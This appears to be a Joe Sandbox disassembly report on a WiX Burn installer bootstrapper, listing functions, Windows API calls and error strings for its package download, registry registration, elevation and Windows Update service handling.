GetLastError.KERNEL32(?,?,?,?,00A43DF8,00000001,00000000,000000B9,00000000,?,?,?,000000B9,00000000,00000001,00000000), ref: 00A43B15

Strings

Failed to execute dependency action., xrefs: 00A43A73
Invalid execute action., xrefs: 00A43AE8
Cache thread exited unexpectedly., xrefs: 00A43B0B
Failed to wait for cache check-point., xrefs: 00A43B49
Failed to execute MSP package., xrefs: 00A43A08
Failed to execute compatible package action., xrefs: 00A43AAD
Failed to execute MSU package., xrefs: 00A43A3D
Failed to execute package provider registration action., xrefs: 00A43A58
Failed to get cache thread exit code., xrefs: 00A43983
Failed to execute EXE package., xrefs: 00A439B2
apply.cpp, xrefs: 00A43979, 00A43B3F
Failed to load compatible package on per-machine package., xrefs: 00A43A99
Failed to execute MSI package., xrefs: 00A439DD

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CodeExitMultipleObjectsThreadWait
String ID: Cache thread exited unexpectedly.$Failed to execute EXE package.$Failed to execute MSI package.$Failed to execute MSP package.$Failed to execute MSU package.$Failed to execute compatible package action.$Failed to execute dependency action.$Failed to execute package provider registration action.$Failed to get cache thread exit code.$Failed to load compatible package on per-machine package.$Failed to wait for cache check-point.$Invalid execute action.$apply.cpp
API String ID: 3703294532-2662572847
Opcode ID: d49a594a4a032c40549b390ce7b9097c7574235e67b65130ed5728d7f23be9fa
Instruction ID: 12fc8f128c6eb511dc6a3ab5ca58b15dfda033667e813d2204486b7fb0012ff2
Opcode Fuzzy Hash: d49a594a4a032c40549b390ce7b9097c7574235e67b65130ed5728d7f23be9fa
Instruction Fuzzy Hash: 06715C7AA8420AFF9F05DFA4C9419AE77B8FF84380B104469F815E7290E772DB41DB50

Function 00A28067 Relevance: 30.0, APIs: 2, Strings: 15, Instructions: 208COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A280DC
_MREFOpen@16.MSPDB140-MSVCRT ref: 00A28202

Strings

Failed to change value type., xrefs: 00A28257
VersionString, xrefs: 00A280BC
State, xrefs: 00A280AA
Trying per-machine extended info for property '%ls' for product: %ls, xrefs: 00A28161
Trying per-user extended info for property '%ls' for product: %ls, xrefs: 00A2818F
Failed to format upgrade code string., xrefs: 00A280E7
Product not found: %ls, xrefs: 00A281BA
Language, xrefs: 00A280B3
Failed to set variable., xrefs: 00A28275
No products found for UpgradeCode: %ls, xrefs: 00A28124
MsiProductSearch failed: ID '%ls', HRESULT 0x%x, xrefs: 00A28285
Failed to format product code string., xrefs: 00A28211
Failed to get product info., xrefs: 00A281EE
Unsupported product search type: %u, xrefs: 00A2809A
Failed to find product for UpgradeCode: %ls, xrefs: 00A2810E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Open@16
String ID: Failed to change value type.$Failed to find product for UpgradeCode: %ls$Failed to format product code string.$Failed to format upgrade code string.$Failed to get product info.$Failed to set variable.$Language$MsiProductSearch failed: ID '%ls', HRESULT 0x%x$No products found for UpgradeCode: %ls$Product not found: %ls$State$Trying per-machine extended info for property '%ls' for product: %ls$Trying per-user extended info for property '%ls' for product: %ls$Unsupported product search type: %u$VersionString
API String ID: 3613110473-2367264253
Opcode ID: 6b36043111d8f1c70a79c9cd5914b9fd6b5fe13a76fe14a5e2362796b9a6381f
Instruction ID: 7021ec152678ce96d85aee573148f03e6943614d0fa2694963806647c503c461
Opcode Fuzzy Hash: 6b36043111d8f1c70a79c9cd5914b9fd6b5fe13a76fe14a5e2362796b9a6381f
Instruction Fuzzy Hash: C261B972D02538FEDF11AB98ED06FADBA74FB14301F144174FD10BA181DB798A689B91

Function 00A475D3 Relevance: 30.0, APIs: 10, Strings: 7, Instructions: 205networkfilememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000004,00000000,00000004,00000080,00000000,?,00000000,?,?,?,000000FF,?), ref: 00A4760B
GetLastError.KERNEL32 ref: 00A47619
VirtualAlloc.KERNEL32(00000000,00010000,00003000,00000004), ref: 00A4766B
GetLastError.KERNEL32 ref: 00A47678
InternetCloseHandle.WININET(00000000), ref: 00A47707
InternetCloseHandle.WININET(?), ref: 00A47718
InternetCloseHandle.WININET(?), ref: 00A477FB
InternetCloseHandle.WININET(00000000), ref: 00A47809
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00A4782A
CloseHandle.KERNEL32(000000FF), ref: 00A47839

Strings

Failed to create download destination file: %ls, xrefs: 00A4764B
Failed to allocate buffer to download files into., xrefs: 00A476A7
Failed to allocate range request header., xrefs: 00A477C9
Failed while reading from internet and writing to: %ls, xrefs: 00A477E4
GET, xrefs: 00A47739
downloadengine.cpp, xrefs: 00A4763E, 00A4769D
Failed to request URL for download: %ls, xrefs: 00A477DA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle$Internet$ErrorLastVirtual$AllocCreateFileFree
String ID: Failed to allocate buffer to download files into.$Failed to allocate range request header.$Failed to create download destination file: %ls$Failed to request URL for download: %ls$Failed while reading from internet and writing to: %ls$GET$downloadengine.cpp
API String ID: 424062026-2629732388
Opcode ID: b10ea1a3940a624c69fca5e009a58d1ab0fe4461d7ffbfe0e320299a576d3d7b
Instruction ID: c7561d74414d76d9c968e47089727e9098f180b86eaa2e7dabce7df55252aef7
Opcode Fuzzy Hash: b10ea1a3940a624c69fca5e009a58d1ab0fe4461d7ffbfe0e320299a576d3d7b
Instruction Fuzzy Hash: 8171667680429AFFCF109FA4CD85AEDBBB1BF48316F514529FA11B21A0D7318980DF90

Function 00A26AFB Relevance: 29.9, APIs: 1, Strings: 16, Instructions: 144registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 00A26C69

Part of subcall function 00A54173: RegSetValueExW.ADVAPI32(00020006,?,00000000,00000001,?,00000000,?,000000FF,00000000,00000001,?,?,00A269E2,00000000,?,00020006), ref: 00A541A6

Strings

PublishingGroup, xrefs: 00A26BBE, 00A26BC3
Failed to write %ls value., xrefs: 00A26C50
InstalledDate, xrefs: 00A26C09, 00A26C0E
Date, xrefs: 00A26C0F
PackageName, xrefs: 00A26B71, 00A26B76
LogonUser, xrefs: 00A26BF5
InstallerName, xrefs: 00A26C23, 00A26C28, 00A26C29
Publisher, xrefs: 00A26B9F, 00A26BA4
InstalledBy, xrefs: 00A26BEF, 00A26BF4
InstallerVersion, xrefs: 00A26C39, 00A26C3E, 00A26C3F, 00A26C4F
PackageVersion, xrefs: 00A26B88, 00A26B8D
Failed to create the key for update registration., xrefs: 00A26B3C
ReleaseType, xrefs: 00A26BD8, 00A26BDD
ThisVersionInstalled, xrefs: 00A26B54, 00A26B59, 00A26B68
Failed to get the formatted key path for update registration., xrefs: 00A26B1B
UninstallString, xrefs: 00A26B0B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseValue
String ID: Date$Failed to create the key for update registration.$Failed to get the formatted key path for update registration.$Failed to write %ls value.$InstalledBy$InstalledDate$InstallerName$InstallerVersion$LogonUser$PackageName$PackageVersion$Publisher$PublishingGroup$ReleaseType$ThisVersionInstalled$UninstallString
API String ID: 3132538880-2375234059
Opcode ID: bc8af227314196236c80733584d4a83b7be97115e75988fc39cb9ecce704201e
Instruction ID: da900398d90228ef1e7314593a62de9e5f43b01cbe17a0f2ed8d9c835dd22788
Opcode Fuzzy Hash: bc8af227314196236c80733584d4a83b7be97115e75988fc39cb9ecce704201e
Instruction Fuzzy Hash: 7141D832942A29BBCB12B618DD41E5FBA7AFF907A2B210034FD04B3211DF31DE14A650

Function 00A218B9 Relevance: 28.2, APIs: 4, Strings: 12, Instructions: 185windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00A21AC3
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00A21AD6
CloseHandle.KERNEL32(00000000,?,?,?,00A21E12,?), ref: 00A21AE5

Strings

Failed while running , xrefs: 00A21A75
WixBundleLayoutDirectory, xrefs: 00A21A40
Failed to set registration variables., xrefs: 00A21A29
Failed to set layout directory variable to value provided from command-line., xrefs: 00A21A51
Failed to create pipes to connect to elevated parent process., xrefs: 00A21935
Failed to query registration., xrefs: 00A219F9
Failed to connect to elevated parent process., xrefs: 00A2194B
Failed to check global conditions, xrefs: 00A21997
Failed to initialize internal cache functionality., xrefs: 00A2190A
Failed to create the message window., xrefs: 00A219E3
Failed to open log., xrefs: 00A218ED
Failed to set action variables., xrefs: 00A21A0F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandleMessagePostWindow
String ID: Failed to check global conditions$Failed to connect to elevated parent process.$Failed to create pipes to connect to elevated parent process.$Failed to create the message window.$Failed to initialize internal cache functionality.$Failed to open log.$Failed to query registration.$Failed to set action variables.$Failed to set layout directory variable to value provided from command-line.$Failed to set registration variables.$Failed while running $WixBundleLayoutDirectory
API String ID: 3586352542-3026528549
Opcode ID: a42ee3e0c7968fffbc8e9440d3b7841d81a64f32d9a3826db1bf4ea429df4477
Instruction ID: fd480eed88190b9d3b343b8aa77aaf811c5ee914699fabd08f1b4fbab49bdf7b
Opcode Fuzzy Hash: a42ee3e0c7968fffbc8e9440d3b7841d81a64f32d9a3826db1bf4ea429df4477
Instruction Fuzzy Hash: 7051E671141725FECB21DB68ED46FAB72F9BB60392F104835F55A92140EB70EA499B20

Function 00A47847 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 171networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(Burn,00000000,00000000,00000000,00000000), ref: 00A478A5
GetLastError.KERNEL32 ref: 00A478B2
InternetCloseHandle.WININET(00000000), ref: 00A47A0B

Part of subcall function 00A57B23: RegCloseKey.ADVAPI32(00000000,?,00000000,?,00000000,00000000), ref: 00A57B74

InternetSetOptionW.WININET(00000000,00000002,?,00000004), ref: 00A4791E
InternetSetOptionW.WININET(00000000,00000006,?,00000004), ref: 00A4792B
InternetSetOptionW.WININET(00000000,00000005,?,00000004), ref: 00A47938

Part of subcall function 00A475D3: CreateFileW.KERNEL32(?,C0000000,00000004,00000000,00000004,00000080,00000000,?,00000000,?,?,?,000000FF,?), ref: 00A4760B
Part of subcall function 00A475D3: GetLastError.KERNEL32 ref: 00A47619
Part of subcall function 00A475D3: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00A4782A
Part of subcall function 00A475D3: CloseHandle.KERNEL32(000000FF), ref: 00A47839

DeleteFileW.KERNEL32(?,?,000000FF,00000000,?,00000001,?,?,?,?,?,?,?,00000078,000000FF,?), ref: 00A479E1
CloseHandle.KERNEL32(000000FF,?,000000FF,00000000,?,00000001,?,?,?,?,?,?,?,00000078,000000FF,?), ref: 00A479F0

Strings

Failed to open internet session, xrefs: 00A478E1
Failed to copy download source URL., xrefs: 00A4788A
Failed to download URL: %ls, xrefs: 00A479C4
DownloadTimeout, xrefs: 00A478EE
Failed to get size and time for URL: %ls, xrefs: 00A47962
Burn, xrefs: 00A478A0
WiX\Burn, xrefs: 00A478F3
downloadengine.cpp, xrefs: 00A478D7

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Internet$Close$HandleOption$ErrorFileLast$CreateDeleteFreeOpenVirtual
String ID: Burn$DownloadTimeout$Failed to copy download source URL.$Failed to download URL: %ls$Failed to get size and time for URL: %ls$Failed to open internet session$WiX\Burn$downloadengine.cpp
API String ID: 328221957-1870125225
Opcode ID: ea547ac034ce675f41193268ec1555faa9f794347a14f6c491e8b8be59fd4519
Instruction ID: cd1a80a594d0775c2359b03606c6490f440559f2b36f21e0502b7196bf3b0383
Opcode Fuzzy Hash: ea547ac034ce675f41193268ec1555faa9f794347a14f6c491e8b8be59fd4519
Instruction Fuzzy Hash: 49513476C0424ABFCF11AFE0CD85DEEBB79FB08341F104569FA14B20A0D7329A559B91

Function 00A44A48 Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 266COMMON

Download Yara Rule

APIs

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

_memcpy_s.LIBCMT ref: 00A44BC2

Strings

pseudobundle.cpp, xrefs: 00A44A7F, 00A44C54, 00A44C9B
Failed to allocate memory for pseudo bundle payload hash., xrefs: 00A44CA8
Failed to copy key for passthrough pseudo bundle payload., xrefs: 00A44C68
Failed to allocate space for burn package payload inside of passthrough bundle., xrefs: 00A44A8C
Failed to allocate space for burn payload inside of related bundle struct, xrefs: 00A44C61
Failed to copy key for passthrough pseudo bundle., xrefs: 00A44C3F
Failed to copy related arguments for passthrough bundle package, xrefs: 00A44D47
Failed to copy local source path for passthrough pseudo bundle., xrefs: 00A44C7C
Failed to recreate command-line arguments., xrefs: 00A44D0B
Failed to copy download source for passthrough pseudo bundle., xrefs: 00A44C86
Failed to copy filename for passthrough pseudo bundle., xrefs: 00A44C72
Failed to copy install arguments for passthrough bundle package, xrefs: 00A44D29
Failed to copy cache id for passthrough pseudo bundle., xrefs: 00A44CC8
Failed to copy uninstall arguments for passthrough bundle package, xrefs: 00A44D6B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$AllocateProcess_memcpy_s
String ID: Failed to allocate memory for pseudo bundle payload hash.$Failed to allocate space for burn package payload inside of passthrough bundle.$Failed to allocate space for burn payload inside of related bundle struct$Failed to copy cache id for passthrough pseudo bundle.$Failed to copy download source for passthrough pseudo bundle.$Failed to copy filename for passthrough pseudo bundle.$Failed to copy install arguments for passthrough bundle package$Failed to copy key for passthrough pseudo bundle payload.$Failed to copy key for passthrough pseudo bundle.$Failed to copy local source path for passthrough pseudo bundle.$Failed to copy related arguments for passthrough bundle package$Failed to copy uninstall arguments for passthrough bundle package$Failed to recreate command-line arguments.$pseudobundle.cpp
API String ID: 1343786421-115096447
Opcode ID: 36bf29020ce89a37704a9ad44d1140a180b9a7e0211e4c42833ec6c95e19c3be
Instruction ID: 2494149aaf91c5c98eda1133cae6d3368e5934696aa8de374c17cbecd736475d
Opcode Fuzzy Hash: 36bf29020ce89a37704a9ad44d1140a180b9a7e0211e4c42833ec6c95e19c3be
Instruction Fuzzy Hash: 92B12378640A05EFDB11CF68C981F6ABBF5FF48304F208859E9169B2A1E730E955CF90

Function 00A30AD2 Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 236COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A30AEE

Strings

Failed to find package: %ls, xrefs: 00A30B37
Failed to allocate memory for ordered patches., xrefs: 00A30C24
Failed to read package log., xrefs: 00A30B7C
Failed to read ordered patch package id., xrefs: 00A30CB1
Failed to execute MSP package., xrefs: 00A30D0B
Failed to read action., xrefs: 00A30B15
Failed to read ordered patch order number., xrefs: 00A30CAA
elevation.cpp, xrefs: 00A30C1A
Failed to read UI level., xrefs: 00A30BB0
Failed to find ordered patch package: %ls, xrefs: 00A30CBB
Failed to read count of ordered patches., xrefs: 00A30BE8
Failed to read rollback flag., xrefs: 00A30CE0
Failed to read variables., xrefs: 00A30CA3
Failed to read parent hwnd., xrefs: 00A30B56

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to allocate memory for ordered patches.$Failed to execute MSP package.$Failed to find ordered patch package: %ls$Failed to find package: %ls$Failed to read UI level.$Failed to read action.$Failed to read count of ordered patches.$Failed to read ordered patch order number.$Failed to read ordered patch package id.$Failed to read package log.$Failed to read parent hwnd.$Failed to read rollback flag.$Failed to read variables.$elevation.cpp
API String ID: 2102423945-908036492
Opcode ID: 93a41ebca144155d9611c29616b469d9e60a0a4dec1ef944cc14dc0e24600875
Instruction ID: 917a2bd66b20d0d36701bc1e13dc062c4430a033e33348eaaa791d9aa806c96d
Opcode Fuzzy Hash: 93a41ebca144155d9611c29616b469d9e60a0a4dec1ef944cc14dc0e24600875
Instruction Fuzzy Hash: C0715A72D0022EBBCB12DAD4DD51EEFBBBCBB15B50F110666FD00B6241DB74AA0487A0

Function 00A4808B Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 207stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,00000000,?,?,?,?,00000000,?,?,?,00000000,?,00000000), ref: 00A480A7

Strings

Invalid BITS engine URL: %ls, xrefs: 00A480C9
Failed to complete BITS job., xrefs: 00A48267
Falied to start BITS job., xrefs: 00A4824D
Failed to initialize BITS job callback., xrefs: 00A481D2
Failed to create BITS job., xrefs: 00A48139
Failed to set credentials for BITS job., xrefs: 00A4815F
Failed to create BITS job callback., xrefs: 00A481C3
Failed to download BITS job., xrefs: 00A48246
Failed to add file to BITS job., xrefs: 00A4817B
Failed to copy download URL., xrefs: 00A480EE
Failed to set callback interface for BITS job., xrefs: 00A481E9
bitsengine.cpp, xrefs: 00A480BD, 00A481B9
Failed while waiting for BITS download., xrefs: 00A48254

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: lstrlen
String ID: Failed to add file to BITS job.$Failed to complete BITS job.$Failed to copy download URL.$Failed to create BITS job callback.$Failed to create BITS job.$Failed to download BITS job.$Failed to initialize BITS job callback.$Failed to set callback interface for BITS job.$Failed to set credentials for BITS job.$Failed while waiting for BITS download.$Falied to start BITS job.$Invalid BITS engine URL: %ls$bitsengine.cpp
API String ID: 1659193697-2382896028
Opcode ID: 8fe42c7b78bab1518f147df5a5b523497d70cfce2c1be97ff18b79d01309facd
Instruction ID: a6d23eefa9d15fe1f0d63a53b3c9130b011511da07509904b985c48a1ffe1a2b
Opcode Fuzzy Hash: 8fe42c7b78bab1518f147df5a5b523497d70cfce2c1be97ff18b79d01309facd
Instruction Fuzzy Hash: BC611839A40624FFCB11AF98E985EAEBBB4BF84710F104156FC15AB251DFB89D01DB90

Function 00A4733E Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 173networkstringCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(00000000), ref: 00A47363
InternetCloseHandle.WININET(00000000), ref: 00A47371
InternetConnectW.WININET(?,00000000,?,00000000,?,?,00000000,00000000), ref: 00A473D0
lstrlenW.KERNEL32(00000000), ref: 00A473FB
InternetSetOptionW.WININET(00000000,0000002B,00000000,00000000), ref: 00A47408
lstrlenW.KERNEL32(00000001), ref: 00A47411
InternetSetOptionW.WININET(00000000,0000002C,00000001,00000000), ref: 00A4741A
InternetCloseHandle.WININET(00000000), ref: 00A4748F
InternetCloseHandle.WININET(00000000), ref: 00A4749A
GetLastError.KERNEL32 ref: 00A474B7

Strings

Failed to connect to URL: %ls, xrefs: 00A474EB
Failed to break URL into server and resource parts., xrefs: 00A474A8
Failed to open internet URL: %ls, xrefs: 00A474F7
downloadengine.cpp, xrefs: 00A474DC
Failed to send request to URL: %ls, xrefs: 00A47503

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Internet$CloseHandle$Optionlstrlen$ConnectErrorLast
String ID: Failed to break URL into server and resource parts.$Failed to connect to URL: %ls$Failed to open internet URL: %ls$Failed to send request to URL: %ls$downloadengine.cpp
API String ID: 1028609564-2897276973
Opcode ID: 847ce354406724fab634ac9402b6a67dd8153a0ca42be995cea78e31bfdbe171
Instruction ID: a4fe8ec0ae9e935d7c543efceb94c7e33b5f6ef16693e780d750f3db361e66ea
Opcode Fuzzy Hash: 847ce354406724fab634ac9402b6a67dd8153a0ca42be995cea78e31bfdbe171
Instruction Fuzzy Hash: 3951BD3A904259EFCB11DFA4CD44EAE7BBAFF88701F154064F900AB150D771AD45EBA1

Function 00A258D8 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 163COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 00A25A4F

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

SysFreeString.OLEAUT32(?), ref: 00A25A09

Strings

Failed to get SoftwareTag text., xrefs: 00A25A99
Regid, xrefs: 00A259BB
Failed to select software tag nodes., xrefs: 00A25908
Failed to get next node., xrefs: 00A25A84
registration.cpp, xrefs: 00A2595D
Filename, xrefs: 00A259A0
Failed to get software tag count., xrefs: 00A25922
Failed to convert SoftwareTag text to UTF-8, xrefs: 00A25AA0
Failed to allocate memory for software tag structs., xrefs: 00A25967
Failed to get @Regid., xrefs: 00A25A92
SoftwareTag, xrefs: 00A258E6
Failed to get @Filename., xrefs: 00A25A8B
`5w, xrefs: 00A25A09, 00A25A4F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FreeHeapString$AllocateProcess
String ID: Failed to allocate memory for software tag structs.$Failed to convert SoftwareTag text to UTF-8$Failed to get @Filename.$Failed to get @Regid.$Failed to get SoftwareTag text.$Failed to get next node.$Failed to get software tag count.$Failed to select software tag nodes.$Filename$Regid$SoftwareTag$`5w$registration.cpp
API String ID: 336948655-1169391320
Opcode ID: 96b0571b6ce44115cb57777c6d51e99a9ed143f7b9da66699fe195d177649e6a
Instruction ID: e73340b978f9205da0fe29a6a951746c11183fb34f8f2a68315588096e7caa4b
Opcode Fuzzy Hash: 96b0571b6ce44115cb57777c6d51e99a9ed143f7b9da66699fe195d177649e6a
Instruction Fuzzy Hash: 0F518E71E00629FFCB14EFB8D9CA8ADB7B5BF08392B144979F901BB241D6308E448B50

Function 00A3EE8C Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 144serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,00000000,00000002,?,?,?,?,?,?,?,?,?,00A3F28B,?), ref: 00A3EEBD
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00A3F28B,?,?), ref: 00A3EECA
OpenServiceW.ADVAPI32(00000000,wuauserv,00000027,?,?,?,?,?,?,?,?,?,00A3F28B,?,?), ref: 00A3EF0B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00A3F28B,?,?), ref: 00A3EF18
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,00A3F28B,?,?), ref: 00A3EF56
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00A3F28B,?,?), ref: 00A3EF60

Part of subcall function 00A3EDA9: ChangeServiceConfigW.ADVAPI32(?,000000FF,00000003,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,?,00A3EFDF,?), ref: 00A3EDC3
Part of subcall function 00A3EDA9: GetLastError.KERNEL32(?,00A3EFDF,?,00000003,?,?), ref: 00A3EDCD

CloseServiceHandle.ADVAPI32(00000000), ref: 00A3F01F
CloseServiceHandle.ADVAPI32(00000000), ref: 00A3F02A

Strings

Failed to open WU service., xrefs: 00A3EF47
wuauserv, xrefs: 00A3EF05
